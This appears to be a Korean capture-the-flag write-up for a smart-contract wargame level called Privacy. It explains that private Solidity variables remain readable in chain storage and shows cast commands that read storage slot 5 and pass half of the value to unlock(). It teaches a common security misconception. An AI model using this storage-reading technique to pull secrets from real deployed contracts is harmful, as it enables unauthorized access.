// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;
constructor(bytes32[3] memory _data) {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
이 문제는 unlock(bytes16)
을 호출하여 require(_key == bytes16(data[2]))
를 통과하고 locked=false
를 실행시키면 된다. 그러기 위해서는 private로 저장된 data
를 알아내야 한다.
private로 선언된 변수더라도 storage에 저장되는데 이는 어느 누구나 조회가 가능하다. storage는 슬롯이라는 단위로 2^256개 만큼 존재하고 한 슬롯당 256비트까지 저장할 수 있다. 이 문제에서는 storage에 저장되는 변수들이 많이 존재하는데 bool
은 슬롯 1개를 차지, uint256
도 슬롯 1개를 차지, uint8
, uint16
은 슬롯 1개씩 차지를 하는게 아니라 합쳐서 저장을하게 된다. 그 이후에 bytes32
array는 슬롯 1개씩 3개를 차지하게 된다. 결론적으로 말하면 data[2]
는 슬롯 5번에 저장될 것이다.
❯ cast storage --rpc-url $G_RPC 0x393d6BF308eA48B7DB06591909E3514989703152 5
0xeb9afaa2aea592bbd55ed2660842e7adee7d22c7c54a9d37fbd820174c5af235
문제에서는 bytes16(data[2])
를 구해야하기 때문에 앞에 절반을 인자로 보내면 문제가 풀린다.
cast send --rpc-url $G_RPC --private-key $P_KEY 0x393d6BF308eA48B7DB06591909E3514989703152 "unlock(bytes16)" 0xeb9afaa2aea592bbd55ed2660842e7ad